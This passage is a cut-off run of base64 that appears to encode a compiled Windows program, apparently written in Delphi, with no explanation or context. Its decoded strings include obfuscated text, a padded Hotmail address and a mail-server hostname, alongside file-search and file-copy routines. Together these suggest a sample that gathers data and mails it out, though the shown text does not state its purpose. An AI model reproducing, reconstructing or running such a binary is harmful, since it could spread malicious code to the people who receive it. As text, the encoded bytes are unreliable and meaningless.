6Gbl/v/osLr+/7oBAAAAjYVU/f//6Gjl/v/om7r+/41F9FCNVe+5AQAAAI2FoP7//+jg4v7/ 6H+6/v9DO/N/Go1F9FCNVe+LTfSNhVT9///oJeP+/+hguv7/g330AHW/jYWg/v//6HPj/v/o Srr+/42FVP3//+hj4/7/6Dq6/v8zwFpZWWSJEGhMbEEAjUXw6JHI/v+NRfi6AgAAAOioyP7/ w+kWw/7/6+NeW4vlXcOLwFWL7LkNAAAAagBqAEl1+VFTi9qJRfyLRfzoZsz+/zPAVWiQb0EA ZP8wZIkgagFqAY1F6FC5pG9BALqwb0EAofzuQQDoEPL//41V7ItF/OhFB///jU3wM9KLRezo cAb//4tV8Li8b0EA6PPM/v+FwHULjUXwi1Xs6JDI/v//NfDuQQBoyG9BAP918Lj07kEAugMA AADo98r+/41V5LgGAAAA6KLz//+LVeSNRfCLTfDoaMr+/41LAYtV8ItF/OgK/v//sQGLFfTu QQCLRfDoUvT//2oBagGNReBQiw307kEAutRvQQCh/O5BAOhp8f//agFqAY1F3FCNRdRQuVoA AAC65G9BAItF/Oi7/P//i0XUjVXY6DAB//+LTdi68G9BAKH87kEA6C7x//9qAWoBjUXQUI1F yFC5WgAAALoAcEEAi0X86ID8//+LRciNVczo9QD//4tNzLoMcEEAofzuQQDo8/D//41VxItF 8OhI9P//i0XEjU34ugEAAADo2PH//4tF+LoccEEA6FPK/v91IGoBjVXAi0Xw6DQG//+LRcDo 8Mr+/1DoHu/+/+lyAQAAjU28M9K4KHBBAOia8f//i1W8uPTuQQDo/cb+/4tF+LpocEEA6AjK /v91d2oAagGNRfRQjU20M9K4dHBBAOhn8f//i020jUW4ixX07kEA6BrJ/v+LRbgzyTPS6Erw //+DffQAD4XBAAAAagBqAY1F9FCNTawz0riMcEEA6Cnx//+LTayNRbCLFfTuQQDo3Mj+/4tF sDPJM9LoDPD//+mIAAAAi0X4uqRwQQDogsn+/3U2agBqAY1F9FCNTaQz0riwcEEA6OHw//+L TaSNRaiLFfTuQQDolMj+/4tFqDPJM9LoxO///+tDi0X4usRwQQDoPcn+/3U0agBqAY1F9FCN TZwz0rjQcEEA6Jzw//+LTZyNRaCLFfTuQQDoT8j+/4tFoDPJM9Lof+///4N99AB1D41N9DPS uORwQQDoavD//2oB/3X0aBRxQQCNVZSLRfDozQT///91lI1FmLoDAAAA6H3I/v+LRZjoecn+ /1Dop+3+/zPAWllZZIkQaJdvQQCNRZS6GwAAAOhdxf7/w+nLv/7/6+tbi+Vdw/////8BAAAA MQAAAP////8DAAAARkQ3AP////8BAAAALgAAAP////8BAAAAXAAAAP////8EAAAARkIxQgAA AAD/////AQAAADUAAAD/////BQAAAEZCMUJCAAAA/////wEAAAA5AAAA/////wUAAABGQjFC QQAAAP////8DAAAAb39tAP////80AAAAjqefrrKZq5+XhaKdraesqaGslZGkpp2psquVfbCq q5+prI+frauiqamUeqqrWImbr6CslgAAAAD/////AwAAAG52awD/////DAAAAGp5f2mCgnVA eIh2bgAAAAD/////DAAAAGp/g3ZjcXVAeIh2bgAAAAD/////AwAAAIJzewD/////CgAAAFaG cnV9PHSIdmoAAP////8DAAAAhHB4AP////8LAAAAiXh+i3t/PnaKdGwA/////yYAAACfn5mQ mZZeXluPo5FNnZORmZZeXluOl5hZeZuRm2uei3+fmXB5dgAA/////wEAAAAgAAAAVYvsgcSo /v//U4lF/ItF/Oirx/7/M8BVaLJxQQBk/zBkiSCLVfyNhaj+///ozdz+/6Ew3EEAxgAAugEA AACNhaj+///orN/+/+j2tP7/M9uNRfRQjVX7uQEAAACNhaj+///oOd3+/+jYtP7/Q4N99AB1 3Y2FqP7//+jq3f7/6MG0/v9LM8BaWVlkiRBouXFBAI1F/OgXw/7/w+mpvf7/6/CLw1uL5V3D VYvsg8TsUzPbiV3siV3wiU30iVX4iUX8i0X86PjG/v+LRfjo8Mb+/4tF9Ojoxv7/i0UU6ODG /v+LRRDo2Mb+/4tFDOjQxv7/M8BVaNJyQQBk/zBkiSCNRfC67HJBAOg9w/7/jUXwuvxyQQDo MMP+/41F8Lpkc0EA6CPD/v+NRfC6eHNBAOgWw/7/swGAfQgAdCaNRexQuQIAAAC64HNBAItF +Oi09///i0XsuuxzQQDov8X+/w+Vw4TbdC6LRRRQaOxzQQCLRRBQi0UMUItF/OiD/v//UGoB ikUIUItN9ItV+ItF/OjO8f//M8BaWVlkiRBo2XJBAI1F7LoFAAAA6CjC/v+NRQy6AwAAAOgb wv7/w+mJvP7/696Lw1uL5V3CEAAAAP////8FAAAARkEyc2MAAAD/////XAAAAEZBNWJpZ2Nh cm9sMDUwNUBob3RtYWlsLmNvbSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAAAAP////8LAAAARkE4MTM3MjE2ICAA /////1wAAABGQTltYWlsLmNhYmxlbmV0LmNvbS5uaSAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAAAAD///// AQAAADIAAAD/////AgAAAHNjAABVi+yBxPj+//8zwImF+P7//4lF/DPAVWihdEEAZP8wZIkg i0UI/0D8jZX8/v//i0UIi0D86EO1/v+Nlfz+//+NRfzotcL+/4tFCP9w+P91/I2N+P7//zPS uLR0QQDoWuv///+1+P7//41F/LoDAAAA6H/D/v+LRQiLQPSLVfyLCP9RZLoCAAAAi0X86Dj9 /v8zwFpZWWSJEGiodEEAjYX4/v//6DDA/v+NRfzoKMD+/8Ppurr+/+vli+Vdw/////8EAAAA OWx1dgAAAABVi+yBxKj2//9TVjPSiZWo9v//iZWs9v//i/C73O5BADPAVWifdUEAZP8wZIkg i8Po17/+/42NrPb//4vWoRTvQQCLMP9WDIuVrPb//42FsP7//+gC2f7/ugEAAACNhbD+///o 6dv+/+gzsf7/jUX8UI2VsPb//7kACAAAjYWw/v//6HXZ/v/oFLH+/42FqPb//42VsPb//7kA CAAA6FLA/v+Llaj2//+Lw+jBwf7/g338AHW4jYWw/v//6ATa/v/o27D+/zPAWllZZIkQaKZ1 QQCNhaj2//+6AgAAAOhOv/7/w+m8uf7/6+heW4vlXcNVi+wzyVFRUVFRU1ZXM8BVaJV3QQBk /zBkiSCLFdzuQQC4rHdBAOjdw/7/i/iF/w+OkQEAAI1F+Ojfvv7/jUX06Ne+/v+NRfxQi9eD 6hK5MgAAAKHc7kEA6CPD/v+LVfy4rHdBAOiew/7/i/BOg/4BflqLRfyKXDD/i8MEnywaciaL RfyLwwS/LBpyG4tF/ID7LnQTi0X8gPtfdAuLRfyLwwTQLApzHY1F8ItV/IvT6BDA/v+LVfCN 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 AItV9OhBtv7/i1W4uQIAAACLRfDoSfv//1lVagSNRbS5xINBAItV9Ogdtv7/i1W0uQQAAACL RfDoJfv//1lVagSNRbC50INBAItV9Oj5tf7/i1WwuQQAAACh4O5BAOj/+v//WYN9+AB0E4tF +Lrcg0EA6Je2/v8PhaQAAABqAGoAjUWoUI1NpDPSuOiDQQDo8t3//4tFpDPJM9Lo5tz//4tF qI1VrOjn8f7/i1WsuPTuQQDoPrP+/4M99O5BAAB1Erj07kEAixXo7kEA6CWz/v/rG6H07kEA 6CG1/v+L2Lj07kEA6OW2/v/GRBj/IFVqCY1VoKH07kEA6Mjs/v+LRaBQjUWcuRyEQQCLVfTo OLX+/4tVnLkJAAAAWOhC+v//WYN9+AB0D4tF+LoohEEA6Nq1/v91KlVqBWoHjUWYuTSEQQCL VfTo/7T+/4tFmIsN5O5BAIsV4O5BAOgX+///WaEU70EA6Eyp/v+hGO9BAOhCqf7/jUX8ixUM fEEA6ATD/v8zwFpZWWSJEGjYgkEAjUWYuhkAAADoKrL+/41F/IsVDHxBAOjcwv7/w+mKrP7/ 691bi+VdwwAAAP////8BAAAANQAAAP////8DAAAARkQzAP////8FAAAAf3F5NToAAAD///// BQAAAHNufjU6AAAA/////wUAAAB0eH41OgAAAP////8FAAAANjdyf3kAAAD/////BQAAADY3 bnpvAAAA/////wUAAAA2N4J3fwAAAP////8FAAAANjeEdHwAAAD/////BQAAADY3b4NxAAAA /////wUAAAA2N4FsbgAAAP////8FAAAAT2ptc3EAAAD/////AwAAAGZ6awD/////AQAAAHkA AAD/////AQAAAGgAAAD/////AQAAAGkAAAD/////AQAAAHQAAAD/////AQAAADEAAAD///// KgAAAISdlaSoj6GVjXuYk6Odop+XoouHcnCLh3JwY4yIj5FQd5eblVF8kJ2WigAA/////wEA AAB3AAAA/////wEAAAAyAAAA/////wEAAABkAAAAVYvsgcQs/v//iVX4iUX8i0X86Im0/v+L RfjogbT+/zPAVWi3hEEAZP8wZIkgi1X8jYUs/v//6KPJ/v+NhSz+///oh8v+/4tV+I2FLP7/ /+jUtf7/6H7N/v+NhSz+///o5Mr+/zPAWllZZIkQaL6EQQCNRfi6AgAAAOg2sP7/w+mkqv7/ 6+uL5V3Di8BVi+y5mgEAAGoAagBJdflTVovYM8BVaMmHQQBk/zBkiSDHRfSADAAAjUX8UFNq AGoAagLoONj+/4XAD4WPAgAAx0X4ZAAAAI1F9FCNhXDz//9QjUX4UItF/FDoCdj+/4t1+IX2 D45lAgAAjZ188///iwOD4AKD+AJ1EotFCFCNQ/Toev///1npOQIAAItD+IPgAYP4AQ+FKgIA AI1F8ItTCOgWsf7/jY1s8///M9K44IdBAOgw2v//i5Vs8///uPTuQQDokK/+/42FZPP//4sV 6O5BAIoSiFABxgABjZVk8///jYVg8///6Jei/v+6+IdBAI2FYPP//7EC6FWi/v+NlWDz//+N hWjz///oGLH+/42FaPP//4sV9O5BAOhHsf7/i4Vo8///UI2FXPP//4sN9O5BAItV8Ohwsf7/ i5Vc8///sQFY6Grb//+EwA+EcwEAAI2NVPP//zPSuASIQQDohNn//4uNVPP//42FWPP//4tV 8Og0sf7/i4VY8///UI2FUPP//4sN9O5BALociEEA6Bex/v+LlVDz//9Y6NP9//+NjUzz//8z 0rgsiEEA6DXZ//+LlUzz//+49O5BAOiVrv7//3Xw/zX07kEAjY1E8///M9K4RIhBAOgK2f// /7VE8///jYVI8///ugMAAADoLLH+/4uFSPP//1D/dfD/NfTuQQCNjTzz//8z0rhUiEEA6NLY ////tTzz//+NhUDz//+6AwAAAOj0sP7/i4VA8///sQFa6Hra////dfD/NfTuQQCNjTjz//8z 0rhUiEEA6JPY////tTjz//+49O5BALoDAAAA6Law/v+h9O5BAOiwsf7/UOgW1P7/jYU08/// ixXo7kEAihLoH6/+/42FNPP//1CNjTDz//8z0rhoiEEA6ELY//+LlTDz//9Y6Lav/v+LhTTz //8zyYsV9O5BAOjv2f//g8MgTg+Fof3//zPAWllZZIkQaNCHQQCNhTDz//+6DAAAAOg8rf7/ jYVo8///ugIAAADoLK3+/41F8OgArf7/w+mSp/7/69BeW4vlXcMAAP////8UAAAAd4p+fZR7 hX9/dGyDjVtMTEl9kX8AAAAAAToAAP////8NAAAAcHKHh4N2inh3P3R0iAAAAP////8FAAAA QHdpbiAAAAD/////DAAAAG+HeoB3f4iFb4KGgAAAAAD/////BgAAAEA8OXGFbwAA/////wkA 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 n/7/6+uLw1uL5V3DAAD/////AwAAAEZDOQD/////AQAAADAAAAD/////AQAAADEAAAD///// AwAAAEZENABVi+yDxPSJRfyLRfzoC6n+/zPAVWhSkEEAZP8wZIkgsgGhuCxBAOhBnf//iUX0 M8BVaDWQQQBk/zBkiSCLRfSDwAyLVfzoFqX+/4tF9OiSnv//iEX7gH37AHQIi0X06F2f//8z wFpZWWSJEGg8kEEAi0X06Kib/v/D6Saf/v/r8DPAWllZZIkQaFmQQQCNRfzod6T+/8PpCZ/+ /+vwikX7i+Vdw2SQQQARAi4yBAAAAAAQQABIAAAAVYvsUVOL2IvDuryQQQDolaT+/2oAjUX8 UOjazf//hcB0F4tF/IPgAYP4AXUMi8O6yJBBAOhvpP7/W1ldwwAAAP////8BAAAAMQAAAP// //8BAAAAMwAAAFWL7LlTAAAAagBqAEl1+VMzwFVoF6BBAGT/MGSJILIBoWi7QADotpr+/6MU 70EAsgGhaLtAAOilmv7/iUWMsgGhaLtAAOiWmv7/iUWIswEzwIlFlI2NYP///zPSuCygQQDo es7//4uVYP///7j07kEA6Nqj/v9qAGoAjUX8UI2NXP///zPSuGSgQQDoUM7//4uVXP///zPJ ofTuQQDoPs3//4N9/AAPhLMAAAD/NfTuQQCNjVj///8z0riEoEEA6BzO////tVj/////dfxo mKBBAI1F/LoEAAAA6Dmm/v9qAGoAjUX4UI2NVP///zPSuKSgQQDo583//4uVVP///zPJi0X8 6NfM//9qAGoAjUX0UI2NUP///zPSuMCgQQDovc3//4uVUP///zPJi0X86K3M//9qAGoAjUXw UI2NTP///zPSuNSgQQDok83//4uVTP///zPJi0X86IPM///rR41N9DPSuPCgQQDocs3//42V SP///7gFAAAA6FLO////tUj///9oCKFBAP919I1F+LoDAAAA6H+l/v+NVfC4BQAAAOgqzv// agBqAY1F0FAzyboUoUEAofzuQQDoIcz//2oAagGNRcxQM8m6JKFBAKH87kEA6AjM//9qBo1F wLkBAAAAixVgkEEA6Oey/v+DxASLRcCDwASLVfToUqL+/2oAagGNhUT///9QM8m6NKFBAKH8 7kEA6MbL//+LlUT///+LRcCDwAjoJaL+/42NQP///zPSuEShQQDoo8z//4uVQP///4tFwIPA FOgCov7/jY08////M9K4WKFBAOiAzP//i5U8////i0XAg8AQ6N+h/v+NjTj///8z0rhsoUEA 6F3M//+LlTj///+LRcCDwAzovKH+/8dFoAEAAADGRYcAi0XAi1WgiwSQ6EP8//+EwHQcxkWH AY1F9ItVwItNoIsUiujOof7/x0WgBQAAAP9FoIN9oAV+yWoBagGNhTT///9Qi030uoihQQCh /O5BAOjtyv//gH2HAHQPjUXUupShQQDojqH+/+sNjUXUuqChQQDof6H+/2oBagGNhTD///9Q i03UuqyhQQCh/O5BAOiuyv//ahSNhWf///9Q6DjI/v8Pt8BQ6O/I/v9qBY1FyLkBAAAAixVg kEEA6Hax/v+DxASNhSj///+KlWf///+IUAHGAAGNlSj///+NhST////o+JP+/42FIP///4qV aP///4hQAcYAAY2VIP///42FJP///7EC6KOT/v+NlST///+NhRz////owpP+/42FIP///4qV af///4hQAcYAAY2VIP///42FHP///7ED6G2T/v+NlRz///+NhSz////oMKL+/4uFLP///1CN jRj///8z0ri4oUEA6NfK//+LlRj///9Y6FOj/v8Pha8AAACNTewz0rjEoUEA6LbK//+NTegz 0rjgoUEA6KfK//+NjRT///8z0rgEokEA6JXK//+LlRT///+LRciDwATo9J/+/42NEP///zPS uESiQQDocsr//4uVEP///4tFyIPACOjRn/7/jY0M////M9K4gKJBAOhPyv//i5UM////i0XI g8AM6K6f/v+NjQj///8z0ri0okEA6CzK//+LlQj///+LRciDwBDoi5/+/+mqAAAAjU3sM9K4 9KJBAOgHyv//jU3oM9K4EKNBAOj4yf//jY0E////M9K4MKNBAOjmyf//i5UE////i0XIg8AE 6EWf/v+NjQD///8z0rhso0EA6MPJ//+LlQD///+LRciDwAjoIp/+/42N/P7//zPSuKijQQDo oMn//4uV/P7//4tFyIPADOj/nv7/jY34/v//M9K43KNBAOh9yf//i5X4/v//i0XIg8AQ6Nye /v+4BAAAAOiqkv7/i1XIi1SCBI1F5OgHn/7/jUXY6Gee/v9qAGoBjUXgUI2N9P7//zPSuByk QQDoMcn//4uF9P7//1CNhfD+//+5KKRBAIsV/O5BAOjYoP7/i4Xw/v//M8la6AbI//+NVaiL ReDox5L+/4lFqIN9qAB0PI2N6P7//zPSuDikQQDo4Mj//4uN6P7//42F7P7//4sV6O5BAOiN oP7/i5Xs/v//i0WMiwj/UVj/TajrYmoAagGNRdhQM8m6TKRBAKH87kEA6J3H//9qAWoBjYXk /v//ULlcpEEAumikQQCh/O5BAOh+x///agFqAY2F4P7//1Azybp4pEEAofzuQQDoYsf//4tF 2OhW2v7/hMB1AjPbagFqAY2F3P7//1CNhdj+///oBvn//4uN2P7//7qEpEEAofzuQQDoKcf/ /4TbD4QUCAAAagWNRby5AQAAAIsVYJBBAOgArv7/g8QEi0W8g8AEupSkQQDoaZ3+/4tFvIPA CLqgpEEA6Fmd/v+LRbyDwAy6rKRBAOhJnf7/i0W8g8AQurikQQDoOZ3+/2oIjUXEuQEAAACL FWCQQQDoqK3+/4PEBItFxIPABLrEpEEA6BGd/v+LRcSDwAi6xKRBAOgBnf7/i0XEg8AMusSk QQDo8Zz+/4tFxIPAELrQpEEA6OGc/v+LRcSDwBS63KRBAOjRnP7/i0XEg8AYuuikQQDowZz+ /4tFxIPAHLr0pEEA6LGc/v+NRdToVZz+/2oAagGNhdT+//9QM8m6AKVBAKH87kEA6B3G//+L hdT+//+NVaTo25D+/4lFpIN9pAB0BoN9pAd1B8dFoAEAAABqAGoBjYXQ/v//UDPJuhClQQCh /O5BAOjdxf//i4XQ/v//jVWQ6JuQ/v+JRZCDfaAHD4+1BgAAjY3M/v//M9K4IKVBAOiwxv// i5XM/v//i0XEi02giwyIjUXc6F2e/v9qAGoBjUXgUI2FyP7//7kopEEAixX87kEA6D+e/v+L hcj+//8zyYtV3Ohrxf//jVW0i0Xg6CyQ/v+JRbSDfbQAD4QXBgAAi0W0hcAPjgwGAACJRYDH RbgBAAAAoRTvQQCLEP9SQI2VyP3//4tFuOjmj/7/jZXI/f//uPTuQQDoVp3+//816O5BAGiY oEEA/3Xc/zX07kEAjY3A/f//M9K4LKVBAOjwxf///7XA/f//jYXE/f//ugUAAADoEp7+/4uV xP3//6EU70EAiwj/UVihFO9BAIsQ/1IUSIlFsItFkItVsCvQD4xmBQAAQomVfP///4lFrGoB agGNhbz9//9QuTylQQC6SKVBAKH87kEA6IXE//+KRYfojfT//4TAD4QeBQAAg33UAHQKg32U CA+FRgEAADPAiUWUg33YAA+FLAEAAItFqOiWjv7/i9CNjbj9//+LRYyLGP9TDIuVuP3//7j0 7kEA6J6a/v+h9O5BAOgg1/7/hMAPhOUAAACNVdSh9O5BAOhP2f7/jZWw/f//i0XU6GHH//+L hbD9//+NjbT9//+6AQAAAOjrxP//i4W0/f//ulSlQQDoY53+/3Q5/3XUaGClQQC4BAAAAOgP jv7/i1W8i0SCBI2NrP3//zPS6LPE////taz9//+NRdS6AwAAAOjYnP7//zXw7kEAaJigQQD/ ddSNhaj9//+6AwAAAOi6nP7/i4Wo/f//6HPW/v+EwHVUi0XUUItF9FCLRfhQagCNhaT9//+5 